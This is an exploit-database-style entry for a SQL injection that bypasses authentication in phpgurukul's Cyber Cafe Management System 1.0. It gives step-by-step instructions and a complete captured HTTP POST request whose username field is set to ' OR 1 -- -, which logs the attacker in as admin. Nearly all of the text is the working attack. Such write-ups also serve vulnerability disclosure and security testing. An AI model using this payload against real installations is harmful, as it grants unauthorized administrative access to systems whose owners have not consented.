Cyber Cafe Management System Project (CCMS) 1.0 - SQL Injection Authentication Bypass

# Exploit Title: Cyber Cafe Management System  Project (CCMS) 1.0 - SQL Injection Authentication Bypass
# Date: 29-09-2021
# Exploit Author: sudoninja
# Vendor Homepage: https://phpgurukul.com
# Product link: https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/
# Version: 1.0
# Tested on: XAMPP / Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/ccms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ccms
Step 5 – Click forward and now you will be logged in as admin.

POC 

POST /ccms/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/ccms/
Cookie: PHPSESSID=agarg3okitkr3g8dbi5icnq8du
Upgrade-Insecure-Requests: 1

username='%20OR%201%20--%20-&password=ccms&login=